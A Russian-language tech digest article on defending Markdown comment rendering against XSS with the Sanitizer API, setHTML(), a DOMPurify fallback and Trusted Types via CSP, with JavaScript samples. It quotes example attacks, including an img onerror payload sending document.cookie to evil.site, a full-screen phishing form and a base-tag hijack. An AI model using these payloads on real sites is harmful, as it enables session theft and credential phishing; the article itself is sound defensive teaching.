Дайджесты новостей
Натюрморт рабочего стола инженера с экраном ноутбука и блокнотом со схемой эшелонированной защиты Sanitizer API, setHTML() и Trusted Types.

Безопасный рендеринг Markdown: Sanitizer API, setHTML() и Trusted Types

Ты добавляешь в продукт поле комментариев или блок обсуждения задач, и пользователи сразу просят поддержку Markdown. Это удобно: списки, жирный шрифт, подсветка синтаксиса и цитаты делают общение живым. Разработчик ставит проверенный парсер вроде marked.js или remarkable, прогоняет текст через функцию парсинга, вставляет результат в контейнер через innerHTML и со спокойной душой закрывает задачу в трекере.

Стой. В этот самый момент в твоем приложении открывается колоссальная дыра безопасности.

Дело в том, что по спецификации CommonMark любой валидный Markdown-парсер обязан пропускать встроенные сырые HTML-теги без экранирования. Если злоумышленник напишет в комментарии строку вроде <img src=x onerror="fetch('https://evil.site/?c='+document.cookie)">, парсер послушно превратит ее в рабочий DOM-узел. В лучшем случае скрипт покажет безобидный алерт, а в худшем — украдет авторизационные токены текущего пользователя, о рисках перехвата которых мы уже говорили в статье про архитектуру безопасности API-токенов. В базовом руководстве по защите от XSS-атак мы касались серверного экранирования, но когда на клиенте требуется рендерить сложный форматированный контент, стандартный escapeHtml не спасет.

Инженер Агустин Барриентос (Agustin Barrientos) в цикле исследований «The Senior Eye» детально разобрал, почему традиционные подходы к очистке HTML часто подводят команды, и показал, как выстроить эшелонированную защиту на базе новейших браузерных стандартов: нативного Sanitizer API, метода setHTML() и политик Trusted Types.

Иллюзия «дефолтной санитизации»

Когда на код-ревью звучит фраза «мы санитизируем вывод сторонней библиотекой», большинство тимлидов спокойно ставят аппрув. И совершенно напрасно. Понятие «безопасного HTML» субъективно, а настройки популярных библиотек «из коробки» кардинально различаются:

  1. Скрытая угроза тегов <form>: стандартный профиль популярной библиотеки DOMPurify блокирует исполнение скриптов (<script>, обработчики onclick, псевдопротоколы javascript:), но по умолчанию оставляет разрешенными теги форм. Злоумышленник может внедрить прозрачную форму ввода пароля поверх экрана с абсолютным позиционированием (<form action="https://phishing.site" style="position:fixed;inset:0">), перехватив учетные данные пользователя в момент клика.
  2. Атака через подмену базы <base>: внедрение одиночного тега <base href="https://evil.site/"> ломает все относительные пути на странице. Любой последующий асинхронный импорт скриптов или отправка AJAX-запроса пойдут на сервер атакующего.
  3. Чрезмерная строгость нативных инструментов: первые реализации браузерных санитизаторов, напротив, вырезали чекбоксы задач (<input type="checkbox">), ломая привычные интерактивные чек-листы в Markdown.

Вывод прост: полагаться на дефолтные конфиги нельзя. Для защиты пользовательского контента требуется строгий декларативный белый список правил.

Единый контракт правил: объект SanitizerConfig

Современный стандарт W3C Sanitizer API вводит объект конфигурации SanitizerConfig. Главное правило словаря: свойства разрешающего списка (elements) и запрещающего списка (removeElements) строго взаимоисключающи.

Мы формируем единый объект правил commentPolicy:

// config/sanitizer.js — Единая конфигурация безопасности для комментариев
export const commentPolicy = {
  // Строгий белый список разрешенных элементов
  elements: [
    'p', 'b', 'strong', 'i', 'em', 's', 'del',
    'ul', 'ol', 'li', 'blockquote', 'code', 'pre',
    'a', 'hr', 'table', 'thead', 'tbody', 'tr', 'th', 'td'
  ],
  // Белый список допустимых атрибутов
  attributes: [
    { name: 'href', elements: ['a'] },
    { name: 'target', elements: ['a'] },
    { name: 'rel', elements: ['a'] },
    { name: 'class', elements: ['code', 'pre'] }, // для подсветки синтаксиса
  ],
  // Замена оберточных тегов их содержимым (часто прилетает из Google Docs)
  replaceWithChildrenElements: ['span', 'div', 'article', 'section'],
  // Принудительное удаление опасных контекстных тегов
  removeElements: ['base', 'form', 'input', 'button', 'iframe', 'script', 'style'],
};

Любые теги, не вошедшие в белый список, удаляются либо заменяются своим текстом. Ссылки сохраняются, но злоумышленник физически не сможет внедрить форму, фрейм или скрипт.

Нативный метод setHTML() и гибридный конвейер

Браузерный метод Element.prototype.setHTML(input, { sanitizer }) производит очистку силами движка браузера на уровне C++, минуя накладные расходы парсинга в JavaScript. Что еще важнее — движок браузера принципиально блокирует исполняемые элементы даже в том случае, если разработчик по ошибке добавит <script> в белый список elements.

На сегодняшний день метод setHTML() поддерживается в актуальных версиях Chromium (146+) и Firefox (148+), однако в Safari реализация пока остается экспериментальной. Поэтому в продакшене необходим гибридный конвейер: при наличии нативной поддержки браузер задействует setHTML(), а при ее отсутствии — переключается на проверенный DOMPurify с аналогичным набором правил:

// utils/renderMarkdown.js — Гибридный безопасный рендеринг
import { marked } from 'marked';
import DOMPurify from 'dompurify';
import { commentPolicy } from '../config/sanitizer.js';

export function renderSafeMarkdown(rawMarkdown, targetElement) {
  // 1. Преобразуем Markdown в черновой HTML
  const rawHtml = marked.parse(rawMarkdown);

  // 2. Проверяем поддержку нативного Sanitizer API в браузере
  if ('setHTML' in Element.prototype) {
    try {
      targetElement.setHTML(rawHtml, { sanitizer: commentPolicy });
      return;
    } catch (e) {
      console.warn('Сбой нативного Sanitizer API, переключаемся на fallback', e);
    }
  }

  // 3. Резервный конвейер через DOMPurify с аналогичными ограничениями
  const cleanHtml = DOMPurify.sanitize(rawHtml, {
    ALLOWED_TAGS: commentPolicy.elements,
    ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
    FORBID_TAGS: ['base', 'form', 'script', 'iframe'],
  });

  targetElement.innerHTML = cleanHtml;
}

Изоляция через скрытый документ без окна

Есть еще один тонкий вектор утечек, о котором мало кто помнит: трекинг через предзагрузку картинок. Если вставить строку с тегом <img src="https://tracker.example/pixel"> напрямую в DOM через innerHTML, браузер немедленно инициирует HTTP-запрос к стороннему серверу, передавая IP-адрес пользователя и реферер еще до того, как сработают пользовательские скрипты постобработки.

Чтобы избежать преждевременного выполнения сетевых запросов, парсинг безопаснее выполнять в изолированном документе без активного окна через document.implementation.createHTMLDocument(''). Такой документ не имеет контекста навигации, и загрузка медиа-ресурсов в нем заморожена.

Бескомпромиссная защита: заголовок CSP и Trusted Types

Даже самый идеальный модуль рендеринга бесполезен, если в крупном проекте найдется один джуниор-разработчик, который в компоненте всплывающего уведомления напишет сырой popup.innerHTML = comment.text. Вся защита моментально рушится.

Концептуальная схема эшелонированной защиты браузера с блокировкой вызова innerHTML на уровне движка через директиву CSP и интерфейс Trusted Types.

Чтобы заблокировать эту угрозу системно, используется механизм Trusted Types, управляемый через директиву Content Security Policy (CSP).

Сервер отдает заголовок:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types markdown-policy dompurify;

Как только этот заголовок активирован, браузер на уровне движка налагает абсолютный запрет на прямое присвоение обычных строк в любые XSS-уязвимые свойства (element.innerHTML, element.outerHTML, document.write). Попытка присвоить обычную строку завершится фатальным исключением TypeError: Failed to set the 'innerHTML' property: This document requires 'TrustedHTML' assignment.

Чтобы передать разметку в DOM, разработчик обязан создать фабрику доверенного типа:

// security/trustedTypes.js — Регистрация проверенной политики
let markdownPolicy;

if (window.trustedTypes && window.trustedTypes.createPolicy) {
  markdownPolicy = window.trustedTypes.createPolicy('markdown-policy', {
    createHTML: (string) => {
      // Здесь вызывается наш строгий санитизатор
      return DOMPurify.sanitize(string, {
        ALLOWED_TAGS: ['p', 'b', 'i', 'code', 'pre', 'ul', 'li', 'a'],
      });
    },
  });
}

// Применение политики при рендеринге
export function insertTrustedContent(element, rawHtml) {
  const trustedHtml = markdownPolicy 
    ? markdownPolicy.createHTML(rawHtml) 
    : rawHtml;

  element.innerHTML = trustedHtml;
}
Серверный контекст и email-рассылки

Механизмы Sanitizer API и Trusted Types защищают только клиентский контекст браузера. Если твой бэкенд формирует HTML-письма с комментариями или генерирует PDF-отчеты в Node.js, нативные браузерные API там недоступны. Для серверной очистки используйте отдельный конвейер на базе DOMPurify в окружении виртуального DOM (jsdom).

Безопасные ссылки с rel=noopener

Не забывай: все внешние ссылки, созданные пользователями в Markdown, должны автоматически получать атрибуты target="_blank" и rel="noopener noreferrer". Это защитит пользователя от фишинговой атаки reverse tabnabbing, когда открытая вкладка подменяет адрес родительской страницы через window.opener.

Безопасность фронтенда давно переросла наивную веру в сторонние скрипты. Сочетание единого профиля правил SanitizerConfig, нативного метода setHTML() и блокировок Trusted Types превращает защиту приложения из шаткой договоренности в строгий закон браузерной платформы.